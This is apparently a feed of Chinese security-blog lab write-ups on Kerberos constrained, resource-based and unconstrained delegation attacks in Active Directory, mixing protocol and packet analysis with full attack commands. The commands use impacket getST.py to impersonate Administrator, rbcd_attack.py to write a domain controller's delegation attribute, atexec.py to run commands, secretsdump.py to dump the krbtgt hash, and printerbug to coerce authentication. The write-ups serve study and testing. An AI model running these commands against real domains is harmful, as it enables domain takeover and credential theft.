<p><img alt="image-20220306150106223" src="Kerberos基于资源的约束委派.assets/image-20220306150106223.png"></p>
<p>这个属性的值是一个DACL,里面可以包含多个ACE,关于ACL相关知识,请移步<a href="http://144.34.164.217/windows-acl-dacl-sacl-ace.html">这里</a></p>
<p>如下所示,<code>S-1-5-21-3462766619-4007284874-984777186-1106</code>是我们控制的账户的<code>objectSid</code></p>
<p><img alt="image-20220306155932791" src="Kerberos基于资源的约束委派.assets/image-20220306155932791.png"></p>
<p>RBCD是可玩性最高的一种委派,你可以利用它来做很多事情,我们会在下面慢慢介绍</p>
<h1>0x2 RBCD的缺陷</h1>
<p>在测试过程中,我发现即使是一个不具有任何委派权限的机器账户,只要在<code>ataob2oi</code>属性的ACL中,就可以正常进行S4U</p>
<p>当前的计算机账户<code>new_cp_user_1</code>的委派配置如下</p>
<p><img alt="image-20220306161447796" src="Kerberos基于资源的约束委派.assets/image-20220306161447796.png"></p>
<p>正常来讲,使用该账户进行S4U请求,在S4Uself阶段返回的TGS票据是没有forwardable标志位的,因此会导致无法成功发起S4U2proxy请求,但是事实情况是下面这样的:</p>
<p>使用修改过的<a href="https://raw.githubusercontent.com/SecureAuthCorp/impacket/f31bc0a091d60b2dc0653b717c625c0389b906f5/examples/getST.py">getST.py</a>执行S4U2self请求,获取到第一阶段的TGS票据</p>
<div class="highlight"><pre><span></span><code>python3<span class="w"> </span>getST.py<span class="w"> </span>mother.fucker/new_cp_user_1$<span class="w"> </span>-hashes<span class="w"> </span>:8dd1a8983ac3126f6f85a8713b757608<span class="w"> </span>-impersonate<span class="w"> </span>Administrator<span class="w"> </span>-dc-ip<span class="w"> </span><span class="m">192</span>.168.25.133<span class="w"> </span>-self
</code></pre></div>
<p>使用<a href="https://raw.githubusercontent.com/SecureAuthCorp/impacket/f53426a4dde5b0c55da3598b312a9245b7f5b26f/examples/describeTicket.py">describeTicket.py</a>查看票据信息,可以看到,返回的票据中并没有<code>forwardable</code>标志位</p>
<p><img alt="image-20220306162437172" src="Kerberos基于资源的约束委派.assets/image-20220306162437172.png"></p>
<p>我们使用该TGS票据执行S4U2proxy请求</p>
<div class="highlight"><pre><span></span><code>python3<span class="w"> </span>getST.py<span class="w"> </span>mother.fucker/new_cp_user_1$<span class="w"> </span>-hashes<span class="w"> </span>:8dd1a8983ac3126f6f85a8713b757608<span class="w"> </span>-impersonate<span class="w"> </span>Administrator<span class="w"> </span>-spn<span class="w"> </span>cifs/WIN-BTAP0QG1S13.mother.fucker<span class="w"> </span>-dc-ip<span class="w"> </span><span class="m">192</span>.168.25.133<span class="w"> </span>-additional-ticket<span class="w"> </span>Administrator@new_cp_user_1<span class="nv">$@</span>MOTHER.FUCKER.ccache
</code></pre></div>
<p>成功获取到TGS票据</p>
<p><img alt="image-20220306162747245" src="Kerberos基于资源的约束委派.assets/image-20220306162747245.png"></p>
<p>使用该票据访问目标服务器文件系统:</p>
<p><img alt="image-20220306162921461" src="Kerberos基于资源的约束委派.assets/image-20220306162921461.png"></p>
<p><strong>当然,我并不是第一个发现这个问题的人,在<a href="https://eladshamir.com/">Elad Shamir</a>的文章<a href="https://eladshamir.com/2019/01/28/Wagging-the-Dog.html">Wagging the Dog</a>中,他提到了这个问题,并且汇报给了微软,不过官方并不会修复这个问题,而是被认为是一种特性,就和之前提到的<a href="http://144.34.164.217/kerberosyue-shu-wei-pai-ji-li-yong.html#0x3.1%20TGS%E7%A5%A8%E6%8D%AE%E4%B8%ADSPN%E6%9C%8D%E5%8A%A1%E7%B1%BB%E5%9E%8B%E5%8F%AF%E4%BB%A5%E4%BB%BB%E6%84%8F%E4%BF%AE%E6%94%B9">SPN任意更改问题</a>一样</strong></p>
<p><img alt="image-20220306163250735" src="Kerberos基于资源的约束委派.assets/image-20220306163250735.png"></p>
<h1>0x3 使用RBCD获取机器权限</h1>
<p>只要我们对目标机器的<code>ataob2oi</code>属性有写入权限,那么我们就可以直接获取该机器的权限</p>
<p>首先我们需要创建一个机器账户或者给自己控制的普通用户注册一个SPN,这里我们选择创建机器账户</p>
<p><a href="https://gitee.com/wochinijiamile/files/blob/master/%E5%85%B3%E6%B3%A8%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%8F%B7%E3%80%8A%E6%88%91%E5%90%83%E4%BD%A0%E5%AE%B6%E7%B1%B3%E4%BA%86%E3%80%8B%E5%90%8E%E5%8F%B0%E5%9B%9E%E5%A4%8Dcma%E8%8E%B7%E5%8F%96%E5%AF%86%E7%A0%81.7z">create_machine_account.ps1</a></p>
<div class="highlight"><pre><span></span><code><span class="nt">powershell</span><span class="w"> </span><span class="nt">-executionpolicy</span><span class="w"> </span><span class="nt">bypass</span><span class="w"> </span><span class="nt">-command</span><span class="w"> </span><span class="s2">"& { import-module C:\Users\x\create_machine_account.ps1; New-machineaccount -domain mother.fucker -domaincontroller 192.168.64.139 -ldapuser Administrator -ldappass qwe123... -machineaccount user2 }"</span>
</code></pre></div>
<p>将我们控制的用户写入域控制器机器账户的<code>ataob2oi</code>属性中</p>
<p>写入前:</p>
<p><img alt="image-20220416145301420" src="Kerberos基于资源的约束委派.assets/image-20220416145301420.png"></p>
<p><a href="https://gitee.com/wochinijiamile/files/blob/master/%E5%85%B3%E6%B3%A8%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%8F%B7%E3%80%8A%E6%88%91%E5%90%83%E4%BD%A0%E5%AE%B6%E7%B1%B3%E4%BA%86%E3%80%8B%E5%90%8E%E5%8F%B0%E5%9B%9E%E5%A4%8Drbcd%E8%8E%B7%E5%8F%96%E5%AF%86%E7%A0%81.7z">rbcd_attack.py</a></p>
<div class="highlight"><pre><span></span><code>C:<span class="se">\U</span>sers<span class="se">\x</span>>py3<span class="w"> </span>rbcd_attack.py<span class="w"> </span>-base<span class="w"> </span><span class="nv">dc</span><span class="o">=</span>mother,dc<span class="o">=</span>fucker<span class="w"> </span>-add<span class="w"> </span>-ip<span class="w"> </span><span class="m">192</span>.168.64.139<span class="w"> </span>-user<span class="w"> </span>Administrator@mother.fucker<span class="w"> </span>-passwd<span class="w"> </span>qwe123...<span class="w"> </span>-samdest<span class="w"> </span>dc$<span class="w"> </span>-samsrc<span class="w"> </span>user2$
<span class="o">[</span>*<span class="o">]</span><span class="w"> </span>object<span class="w"> </span>sid:<span class="w"> </span>S-1-5-21-1703014284-2335082847-473038621-1107
<span class="o">[</span>*<span class="o">]</span><span class="w"> </span>target<span class="w"> </span>dn:<span class="w"> </span><span class="nv">CN</span><span class="o">=</span>DC,OU<span class="o">=</span>Domain<span class="w"> </span>Controllers,DC<span class="o">=</span>mother,DC<span class="o">=</span>fucker
<span class="o">[</span>+<span class="o">]</span><span class="w"> </span>attribute<span class="w"> </span>modify<span class="w"> </span>success,<span class="w"> </span>long<span class="w"> </span>live<span class="w"> </span>the<span class="w"> </span>king!!!
</code></pre></div>
<p>写入后:</p>
<p><img alt="image-20220416150734514" src="Kerberos基于资源的约束委派.assets/image-20220416150734514.png"></p>
<p>使用<a href="https://github.com/SecureAuthCorp/impacket/blob/f31bc0a091d60b2dc0653b717c625c0389b906f5/examples/getST.py">getST.py</a>冒充任意可委派的用户申请针对DC的票据</p>
<div class="highlight"><pre><span></span><code>C:<span class="se">\U</span>sers<span class="se">\x</span>>py3<span class="w"> </span>getST.py<span class="w"> </span>-spn<span class="w"> </span>cifs/dc.mother.fucker<span class="w"> </span>-dc-ip<span class="w"> </span><span class="m">192</span>.168.64.139<span class="w"> </span>-impersonate<span class="w"> </span>Administrator<span class="w"> </span>mother.fucker/user2$:q3etsSEDF.
Impacket<span class="w"> </span>v0.9.24<span class="w"> </span>-<span class="w"> </span>Copyright<span class="w"> </span><span class="m">2021</span><span class="w"> </span>SecureAuth<span class="w"> </span>Corporation
<span class="o">[</span>*<span class="o">]</span><span class="w"> </span>Getting<span class="w"> </span>TGT<span class="w"> </span><span class="k">for</span><span class="w"> </span>user
<span class="o">[</span>*<span class="o">]</span><span class="w"> </span>Impersonating<span class="w"> </span>Administrator
<span class="o">[</span>*<span class="o">]</span><span class="w"> </span>Requesting<span class="w"> </span>S4U2self
<span class="o">[</span>*<span class="o">]</span><span class="w"> </span>Requesting<span class="w"> </span>S4U2Proxy
<span class="o">[</span>*<span class="o">]</span><span class="w"> </span>Saving<span class="w"> </span>ticket<span class="w"> </span><span class="k">in</span><span class="w"> </span>Administrator@cifs_dc.mother.fucker@MOTHER.FUCKER.ccache
</code></pre></div>
<p>执行命令:</p>
<div class="highlight"><pre><span></span><code><span class="nb">set</span><span class="w"> </span><span class="nv">KRB5CCNAME</span><span class="o">=</span>C:<span class="se">\U</span>sers<span class="se">\x\A</span>dministrator@cifs_dc.mother.fucker@MOTHER.FUCKER.ccache
py3<span class="w"> </span>atexec.py<span class="w"> </span>-k<span class="w"> </span>-no-pass<span class="w"> </span>-dc-ip<span class="w"> </span><span class="m">192</span>.168.64.139<span class="w"> </span>mother.fucker/Administrator@dc.mother.fucker<span class="w"> </span>whoami
</code></pre></div>
<p><img alt="image-20220416152524486" src="Kerberos基于资源的约束委派.assets/image-20220416152524486.png"></p>
<p>如果是域控制器,那么可以使用该票据获取域内任意用户hash</p>
<div class="highlight"><pre><span></span><code><span class="nb">set</span><span class="w"> </span><span class="nv">KRB5CCNAME</span><span class="o">=</span>C:<span class="se">\U</span>sers<span class="se">\x\A</span>dministrator@cifs_dc.mother.fucker@MOTHER.FUCKER.ccache
py3<span class="w"> </span>secretsdump.py<span class="w"> </span>-k<span class="w"> </span>-no-pass<span class="w"> </span>-target-ip<span class="w"> </span><span class="m">192</span>.168.64.139<span class="w"> </span>-dc-ip<span class="w"> </span><span class="m">192</span>.168.64.139<span class="w"> </span>mother.fucker/Administrator@dc.mother.fucker<span class="w"> </span>-just-dc<span class="w"> </span>-just-dc-user<span class="w"> </span>krbtgt
</code></pre></div>
<p><img alt="image-20220416151439411" src="Kerberos基于资源的约束委派.assets/image-20220416151439411.png"></p>
<p>这种方式可用于持久化</p>Kerberos约束委派及利用2022-02-27T00:00:00+01:002022-02-27T00:00:00+01:0012138tag:None,2022-02-27:kerberosyue-shu-wei-pai-ji-li-yong.html<p>references:</p>
<ul>
<li><a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/3bff5864-8135-400e-bdd9-33b552051d94">[MS-SFU]</a></li>
<li><a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/d2435927-0999-4c62-8c6d-13ba31a52e1a">[MS-ADTS]</a></li>
<li><a href="https://gitee.com/wochinijiamile/smartya/blob/master/%E5%85%B3%E6%B3%A8%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%8F%B7%E3%80%8A%E6%88%91%E5%90%83%E4%BD%A0%E5%AE%B6%E7%B1%B3%E4%BA%86%E3%80%8B%E5%90%8E%E5%8F%B0%E5%9B%9E%E5%A4%8Dke%E8%8E%B7%E5%8F%96%E8%A7%A3%E5%8E%8B%E5%AF%86%E7%A0%81.7z">Kerberos通信数据包解密工具</a></li>
<li><a href="https://www.secureauth.com/blog/kerberos-delegation-spns-and-more">SPN in Kerberos is not protected</a></li>
</ul>
<p>约定:</p>
<ul>
<li>DS服务器:Delegation Server——委派服务器</li>
<li>OB用户:on behalf user——被委派的用户</li>
<li>RS服务器:Resource Server——资源服务器</li>
</ul>
<h1>0x1 简介</h1>
<p>在<a href="http://144.34.164.217/fei-yue-shu-wei-pai-zhang-hu-pei-he-printerbugyu-nei-ti-quan.html">之前的文章</a>中,我们 …</p><p>references:</p>
<ul>
<li><a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/3bff5864-8135-400e-bdd9-33b552051d94">[MS-SFU]</a></li>
<li><a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/d2435927-0999-4c62-8c6d-13ba31a52e1a">[MS-ADTS]</a></li>
<li><a href="https://gitee.com/wochinijiamile/smartya/blob/master/%E5%85%B3%E6%B3%A8%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%8F%B7%E3%80%8A%E6%88%91%E5%90%83%E4%BD%A0%E5%AE%B6%E7%B1%B3%E4%BA%86%E3%80%8B%E5%90%8E%E5%8F%B0%E5%9B%9E%E5%A4%8Dke%E8%8E%B7%E5%8F%96%E8%A7%A3%E5%8E%8B%E5%AF%86%E7%A0%81.7z">Kerberos通信数据包解密工具</a></li>
<li><a href="https://www.secureauth.com/blog/kerberos-delegation-spns-and-more">SPN in Kerberos is not protected</a></li>
</ul>
<p>约定:</p>
<ul>
<li>DS服务器:Delegation Server——委派服务器</li>
<li>OB用户:on behalf user——被委派的用户</li>
<li>RS服务器:Resource Server——资源服务器</li>
</ul>
<h1>0x1 简介</h1>
<p>在<a href="http://144.34.164.217/fei-yue-shu-wei-pai-zhang-hu-pei-he-printerbugyu-nei-ti-quan.html">之前的文章</a>中,我们介绍了Kerberos非约束委派及利用方式,那么在这篇文章中,我将会介绍Windows AD环境中Kerberos协议的约束委派</p>
<p>约束委派中的约束二字具体体现在下图中:</p>
<p><img alt="1645954678509" src="Kerberos约束委派.assets/5a84f91dda8241c190b981c19d24c8e5.png"></p>
<p>也就是说,我们可以限制DS服务器所能够访问到的服务</p>
<p>比如上图中,DS服务器ds-server只能够访问到RS服务器<code>WIN-JTPO01EANAQ</code>的time服务</p>
<p>你或许注意到了,上图中有两个选项,一个仅可以使用Kerberos,另一个可以使用任何身份验证协议</p>
<p>这两个选项分别对应微软为Kerberos协议开发的两个拓展:</p>
<ul>
<li>S4U2proxy</li>
<li>S4U2self</li>
</ul>
<p>其中第二个拓展提供了一个叫做<code>Protocol Transition</code>(协议转换)的特性</p>
<p>也就是说,不管客户端使用何种认证协议认证到DS服务器,都能够使用该用户的身份通过DS服务器来访问RS服务器</p>
<p>大致过程如下:</p>
<ul>
<li>OB用户使用NTLM(或者其他的身份认证协议)认证到DS服务器</li>
<li>DS服务器代表OB用户向KDC请求一个针对自身的TGS票据(OB@DS$@domain.name),这个过程叫做S4U2self</li>
<li>DS服务器使用上一步获取的TGS票据向KDC请求一个针对RS服务器的TGS票据(OB@time/RS@domain.name),这个过程叫做S4U2proxy,time是我们在上图中指定的服务类型</li>
</ul>
<p>下面我们就进行抓包分析,以便更好地理解这两个扩展</p>
<h1>0x2 抓包</h1>
<p>我们在配置好<code>ds-server</code>服务器的委派设置之后,使用impacket中的examples脚本中的<a href="https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/getST.py">getST.py</a>来进行演示</p>
<p>执行如下命令执行完整的S4U请求(先执行S4U2self请求,然后执行S4U2proxy请求)</p>
<div class="highlight"><pre><span></span><code>python3 getST.py mother.fucker/ds-server$ -hashes :061c54f1f5311e1f47958465e16bab65 -impersonate Administrator -spn time/WIN-JTPO01EANAQ.mother.fucker -dc-ip 192.168.64.128
</code></pre></div>
<p>wireshark过滤条件直接写<code>tcp.port==88</code>即可</p>
<h2>0x2.1 S4U2self</h2>
<h3>0x2.1.1 DS服务器获取TGT票据</h3>
<p><img alt="1645955992786" src="Kerberos约束委派.assets/68b8deea3b064134b536aedf5552b975.png"></p>
<p>在实际的S4U过程中,这一步是在DS服务器开机之后就完成的,但是由于我们是使用工具模拟请求,所以需要先获取到DS服务器的TGT票据</p>
<p>这也是为什么我们在上面的命令中需要使用<code>ds-server$</code>账户的hash</p>
<p>该过程在<a href="http://144.34.164.217/kerberosxie-yi-fen-xi.html">Kerberos协议分析</a>一文中已经讲解过,在此不再赘述</p>
<h3>0x2.1.2 DS服务器代表OB用户获取针对自己的TGS票据</h3>
<p>TGS-REQ:</p>
<p><img alt="1645957272094" src="Kerberos约束委派.assets/796f236f78864014b4ec394b625b5f9c.png"></p>
<p>小标题中的<strong>针对自己的TGS票据</strong>意思就是在请求的票据中不包含服务类型,而只有DS服务器的机器账户名称</p>
<p>可以看到,在该TGS请求中,提交的是DS服务器自己的TGT票据,我们可以使用解密工具解密authenticator字段来证明</p>
<p><img alt="1645964029604" src="Kerberos约束委派.assets/4e87cc448b054b8598d58f28424afc9f.png"></p>
<p>另外一个重要的字段就是<code>PA-DATA</code>,类型为<code>pA-FOR-USER</code></p>
<p>下面是微软<a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/3bff5864-8135-400e-bdd9-33b552051d94">[MS-SFU]</a>文档中对<code>PA-FOR-USER</code>的描述</p>
<p><img alt="1645964296500" src="Kerberos约束委派.assets/26df05d92d914642b8a86cf5530d540d.png"></p>
<p>上图中最后给出了该字段的结构,其中<code>cksum</code>为<code>userName</code>、<code>userRealm</code>和<code>auth-package</code>的校验和</p>
<p>校验和的计算需要TGT session key,userName就是OB用户</p>
<p>因此我们完全有能力自行构造<code>PA-FOR-USER</code>字段</p>
<p>你会发现,我们居然不需要OB用户的任何凭据信息就可以对其进行委派,只需要知道OB用户所在的域名和其<code>samAccountName</code>即可</p>
<p>TGS-REP:</p>
<p><img alt="1645964779409" src="Kerberos约束委派.assets/fb04fd3ae2d94727982f60489221830a.png"></p>
<p>可以看到,该票据的所有者是<code>Administrator</code>,也就是OB用户,我们可以通过解密<code>ticket.enc-part</code>来进一步确认</p>
<p><img alt="1645965352165" src="Kerberos约束委派.assets/882195dca8c6436697f1012e8f94182d.png"></p>
<h2>0x2.2 S4U2proxy</h2>
<h3>0x2.2.1 DS服务器代表OB用户获取针对RS服务器的TGS票据</h3>
<p>TGS-REQ:</p>
<p><img alt="1645966125024" src="Kerberos约束委派.assets/6b8ea4c935f644f7af801279489130f8.png"></p>
<p>从上图中可以看到DS服务器拿着自己的TGT票据,以及在req-body中的<code>additional-tickets</code>向KDC申请<code>time/WIN-JTPO01EANAQ.mother.fucker</code>票据</p>
<p><code>additional-tickets</code>就是在S4U2self阶段获取到的针对DS服务器自身的TGS票据</p>
<p>TGS-REP:</p>
<p><img alt="1645966408150" src="Kerberos约束委派.assets/e5ad3ecd6eee4815ba2a2342cce27188.png"></p>
<p>该票据就是颁发给Administrator用户的,我们可以通过解密<code>ticket.enc-part</code>来进一步确认该票据的所有者</p>
<p><img alt="1645966539210" src="Kerberos约束委派.assets/0a99166af9e24621bbb8e75bca1400ba.png"></p>
<p>至此,整个约束委派过程就完成,我们获取到了用于访问RS服务器<code>WIN-JTPO01EANAQ.mother.fucker</code>的time服务的票据</p>
<h1>0x3 拓展</h1>
<h2>0x3.1 TGS票据中SPN服务类型可以任意修改</h2>
<p>票据通过TGS-REP从KDC返回给客户端,也就是其中的<code>ticket</code>字段,该字段中有一个<code>enc-part</code>,是使用目标服务的账户哈希进行加密的,我们可以看一下该字段解密后的结构:</p>
<p><img alt="1645967014565" src="Kerberos约束委派.assets/44afbe984e0e4960833bf86a5aa80c86.png"></p>
<p>其中没有任何一个字段与SPN有关,也就是说,即便我们修改了SPN的服务类型,也不会导致票据失效</p>
<p>而且事实的确如此,就算将我们上面获取到的票据中SPN的服务类型由<code>time</code>改为<code>cifs</code>,也依然可以正常使用</p>
<p>可以使用这个<a href="https://raw.githubusercontent.com/SecureAuthCorp/impacket/d8d454bff04d4ba19a48a23a03a56a2d9e7cb2dc/examples/getST.py">修改过的getST.py</a>在获取TGS票据的同时对服务类型进行修改,只需要将执行的命令改成下面即可:</p>
<div class="highlight"><pre><span></span><code>python3 getST.py mother.fucker/ds-server$ -impersonate Administrator -spn time/WIN-JTPO01EANAQ.mother.fucker -altservice cifs -dc-ip 192.168.64.128 -aesKey 63b97c1cc1e372a0622452fad91adfb50ac06961e470a1ea1d508ac607f42239
</code></pre></div>
<p>使用获取到的cifs票据访问目标服务器文件系统</p>
<p><img alt="1645967779095" src="Kerberos约束委派.assets/50556342ae76447e9fcc0ebd1badcc92.png"></p>
<p><strong>注意:只有运行在同一个服务账户下的服务才可以互相更改,比如time服务运行在example_service_user账户下,那么就算你改成了cifs服务,也你无法访问服务器的文件系统,因为cifs服务并不是由example_service_user账户运行的,一般由计算机账户运行</strong></p>
<h2>0x3.2 user account control</h2>
<p>回到文中的第一张图</p>
<p>如果我们选择了<code>使用任何身份验证协议</code>,那么我们的DS服务器账户的<code>useraccountcontrol</code>属性的值为<code>0x1001000</code></p>
<p><img alt="image-20220228195037393" src="Kerberos约束委派.assets/image-20220228195037393.png"></p>
<p>对照<a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/d2435927-0999-4c62-8c6d-13ba31a52e1a">[MS-ADTS]</a>中对userAccountControl Bits的描述:</p>
<p><img alt="image-20220228195226544" src="Kerberos约束委派.assets/image-20220228195226544.png"></p>
<p><code>0000 0001 0000 0000 0001 0000 0000 0000</code></p>
<p>第7位和第19位两个比特位启用,两者分别对应<code>TA</code>和<code>WT</code></p>
<p>TA代表<code>ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION</code>,<strong>启用了该bit位的账户可以代表其他用户通过S4U2self请求获取到一个针对自己的TGS票据,且该票据拥有forwardable标志位(可转发),如果票据不可转发,那么S4U2proxy请求将会失败</strong></p>
<p><strong>WT标志位表示该账户是机器账户</strong></p>
<p>我们可以尝试将<code>ds-server</code>账户<code>userAccountControl</code>属性的TA标志位取消掉(将其值设置为4096),然后再执行S4U2self,查看返回的票据是否具有<code>forwardable</code>标志位</p>
<div class="highlight"><pre><span></span><code>python3 getST.py mother.fucker/ds-server$ -impersonate Administrator -self -dc-ip 192.168.64.128 -aesKey 63b97c1cc1e372a0622452fad91adfb50ac06961e470a1ea1d508ac607f42239
</code></pre></div>
<p>使用<a href="https://raw.githubusercontent.com/SecureAuthCorp/impacket/f53426a4dde5b0c55da3598b312a9245b7f5b26f/examples/describeTicket.py">describeTicket.py</a>脚本查看票据的详细信息</p>
<div class="highlight"><pre><span></span><code><span class="n">python3</span><span class="w"> </span><span class="n">describeTicket</span><span class="o">.</span><span class="n">py</span><span class="w"> </span><span class="o">-</span><span class="n">u</span><span class="w"> </span><span class="n">ds</span><span class="o">-</span><span class="n">server</span><span class="o">$</span><span class="w"> </span><span class="o">-</span><span class="n">d</span><span class="w"> </span><span class="n">mother</span><span class="o">.</span><span class="n">fucker</span><span class="w"> </span><span class="o">--</span><span class="n">aes</span><span class="w"> </span><span class="mi">63</span><span class="n">b97c1cc1e372a0622452fad91adfb50ac06961e470a1ea1d508ac607f42239</span><span class="w"> </span><span class="n">C</span><span class="p">:</span>\<span class="n">Users</span>\<span class="n">x</span>\<span class="n">Downloads</span>\<span class="n">tmp</span>\<span class="n">Administrator</span><span class="err">@</span><span class="n">ds</span><span class="o">-</span><span class="n">server</span><span class="o">$</span><span class="err">@</span><span class="n">MOTHER</span><span class="o">.</span><span class="n">FUCKER</span><span class="o">.</span><span class="n">ccache</span>
</code></pre></div>
<p>可以看到S4U2self请求返回的票据并不带有<code>forwardable</code>标志位</p>
<p><img alt="image-20220228204852524" src="Kerberos约束委派.assets/image-20220228204852524.png"></p>
<p>那么下一步的S4U2proxy请求就回应为additional-ticket中的票据无法被转发而失败:</p>
<p><img alt="image-20220228205923389" src="Kerberos约束委派.assets/image-20220228205923389.png"></p>
<p>另外,我们可以看到<code>ds-server</code>的委派配置变成了下面这样:</p>
<p><img alt="image-20220228210042818" src="Kerberos约束委派.assets/image-20220228210042818.png"></p>
<p>这是因为我们前面更改userAccountControl属性,取消了TA标志位</p>
<p>也就是说没有TA标志位的委派服务器执行S4U2self请求是没有意义的(<strong>在某些特殊的攻击场景下会有用</strong>),因为返回的票据并不能用于S4U2proxy</p>
<p><strong>该选项相较于上面的<code>使用任何身份验证协议</code>更加安全,因为我们需要先使用OB用户的凭据来获取一个针对DS服务器的票据,然后才可以执行S4U2proxy来获取针对RS服务器的票据,这样就大大增加了攻击难度</strong></p>
<h1>0x4 利用</h1>
<p>可以使用csvde搜索域内所有<code>msDS-AllowedToDelegateTo</code>属性不为空的账户:</p>
<div class="highlight"><pre><span></span><code>csvde -s 192.168.64.128 -b Administrator mother.fucker qwe123... -d "dc=mother,dc=fucker" -r (msds-AllowedToDelegateTo=*/*) -l dn,sAMAccountName,msds-AllowedToDelegateTo,userAccountControl -m -f res.csv -u
</code></pre></div>
<p>然后我们需要通过<code>userAccountControl</code>的值确认是否启用了<code>TA</code>标志位,执行下面的Python代码即可:</p>
<div class="highlight"><pre><span></span><code><span class="nv">print</span><span class="ss">(</span><span class="nv">True</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="ss">(</span><span class="nv">uac</span>值<span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="ss">(</span><span class="mi">1</span><span class="o"><<</span><span class="mi">24</span><span class="ss">))</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="ss">(</span><span class="mi">1</span><span class="o"><<</span><span class="mi">24</span><span class="ss">)</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="nv">False</span><span class="ss">)</span>
</code></pre></div>
<p>由于TA为第7位(从0开始),因此可以通过和左移24位的1进行与运算来判断该bit位是否启用</p>
<p>如果TA比特位启用,且可以委派到指定服务器,那么一旦我们获得了该委派服务账户的凭据,我们就可以冒充任意账户去获取指定服务器的票据</p>
<div class="highlight"><pre><span></span><code>python3 getST.py mother.fucker/ds-server$ -hashes :061c54f1f5311e1f47958465e16bab65 -impersonate Administrator -spn time/WIN-JTPO01EANAQ.mother.fucker -altservice cifs -dc-ip 192.168.64.128
</code></pre></div>
<p><strong>因此,这个利用难度还是比较高的,后面我们将会介绍Kerberos基于资源的约束委派,在这种类型的约束委派中,S4U2self和S4U2proxy将会起到非常重要的作用</strong></p>
<h1>0x5 结语</h1>
<p>没什么新的内容,都是网上能找得到的东西,这里不过是炒炒冷饭而已,权当笔记</p>
<p>如有不足之处,欢迎师傅们指点</p>Kerberos非约束委派数据包分析2022-02-06T00:00:00+01:002022-02-06T00:00:00+01:0012138tag:None,2022-02-06:kerberosfei-yue-shu-wei-pai-shu-ju-bao-fen-xi.html<p>references:</p>
<ul>
<li><a href="https://144.one/fei-yue-shu-wei-pai-zhang-hu-pei-he-printerbugyu-nei-ti-quan.html">非约束委派账户配合printerbug域内提权</a></li>
<li><a href="https://datatracker.ietf.org/doc/html/rfc4120">RFC 4120</a></li>
<li><a href="https://datatracker.ietf.org/doc/html/rfc4121">RFC 4121</a></li>
</ul>
<h1>0x1 前言</h1>
<p>约定:</p>
<ul>
<li>c-d-skey表示client与dc(kdc)TGS阶段用于加密通信的session key</li>
<li>c-s-skey表示client与应用服务器(Application Server)在AP阶段用于加密通信的session key</li>
</ul>
<p>之前我们介绍过Windows AD中非约束委派的利用过程和原理,但是并没有去真正抓包分 …</p><p>references:</p>
<ul>
<li><a href="https://144.one/fei-yue-shu-wei-pai-zhang-hu-pei-he-printerbugyu-nei-ti-quan.html">非约束委派账户配合printerbug域内提权</a></li>
<li><a href="https://datatracker.ietf.org/doc/html/rfc4120">RFC 4120</a></li>
<li><a href="https://datatracker.ietf.org/doc/html/rfc4121">RFC 4121</a></li>
</ul>
<h1>0x1 前言</h1>
<p>约定:</p>
<ul>
<li>c-d-skey表示client与dc(kdc)TGS阶段用于加密通信的session key</li>
<li>c-s-skey表示client与应用服务器(Application Server)在AP阶段用于加密通信的session key</li>
</ul>
<p>之前我们介绍过Windows AD中非约束委派的利用过程和原理,但是并没有去真正抓包分析过</p>
<p>我们都知道仅仅拥有TGT票据而没有<code>c-d-skey</code>是没办法创建合法的<code>authenticator</code>的,也就无法构造出合法的TGS-REQ来申请服务票据</p>
<p>那么在非约束委派攻击中,我们的恶意服务器是如何收到<code>c-d-skey</code>的呢?下面我们就来抓包分析一下</p>
<h1>0x2 攻击流程</h1>
<p>这里再稍微提一下整个的攻击流程</p>
<ul>
<li>域内的用户A在访问由非约束委派账户B运行的服务S</li>
<li>向KDC请求服务票据</li>
<li>KDC在判断要请求的服务S为非约束委派账户B运行的服务之后会向用户A返回带有用户A的TGT的票据</li>
<li>该票据由服务账户也就是非约束委派账户B的hash进行加密</li>
<li>用户A向其请求的服务器发送带有其TGT的服务票据</li>
<li>服务器拿到后使用服务账户B解密即可获得用户A的TGT</li>
</ul>
<p>可以看到,在上面的攻击流程中,只提到恶意服务器解密数据包之后获得TGT,但是并没有说如何获取<code>c-d-skey</code></p>
<p>以下是具体的抓包分析过程</p>
<p>环境搭建参考我<a href="https://144.one/fei-yue-shu-wei-pai-zhang-hu-pei-he-printerbugyu-nei-ti-quan.html">之前的文章</a></p>
<h1>0x3 抓包</h1>
<p>搭建好环境之后,启动<code>krbrelayx</code></p>
<div class="highlight"><pre><span></span><code>python krbrelayx.py -p "qwe123..." -s MOTHER.FUCKERohyeah
</code></pre></div>
<p>你可以直接在windows上运行这个脚本,禁用445端口的方法参考<a href="https://blog.csdn.net/ma_de_hao_mei_le/article/details/122797767">这里</a></p>
<p>然后使用<code>printerbug</code>触发目标服务器回连</p>
<div class="highlight"><pre><span></span><code><span class="n">python</span><span class="w"> </span><span class="n">printerbug</span><span class="p">.</span><span class="n">py</span><span class="w"> </span><span class="n">MOTHER</span><span class="p">.</span><span class="n">FUCKER</span><span class="o">/</span><span class="n">ohyeah</span><span class="o">:</span><span class="s">"qwe123..."</span><span class="mf">@192.168.216.133</span><span class="w"> </span><span class="n">whatthefuck</span><span class="p">.</span><span class="n">mother</span><span class="p">.</span><span class="n">fucker</span>
</code></pre></div>
<p>wireshark使用<code>tcp.port==445</code>过滤条件抓包</p>
<p><img alt="image-20220206013740063" src="Kerberos非约束委派数据包分析.assets/image-20220206013740063.png"></p>
<p>和之前的一样,krb数据包封装在SPNEGO数据包中</p>
<p>ticket为目标服务器先前缓存的<code>cifs/whatthefuck.mother.fucker</code>票据</p>
<p>这个票据是目标服务器在向我们的恶意服务器发起请求之前向KDC申请的,因此我们这里的wireshark抓包是看不到这一过程的</p>
